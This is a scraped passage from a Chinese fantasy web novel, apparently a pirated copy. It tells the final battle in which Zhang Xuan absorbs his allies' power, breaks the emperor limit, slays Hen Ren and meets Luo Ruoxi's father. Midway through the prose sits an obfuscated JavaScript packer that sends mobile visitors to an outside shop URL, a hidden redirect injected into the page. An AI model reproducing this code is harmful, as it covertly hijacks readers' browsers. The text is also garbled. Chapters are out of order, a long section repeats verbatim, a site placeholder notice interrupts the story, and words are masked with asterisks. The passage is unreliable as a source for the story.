抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546036|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第64章果然名不虚传 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 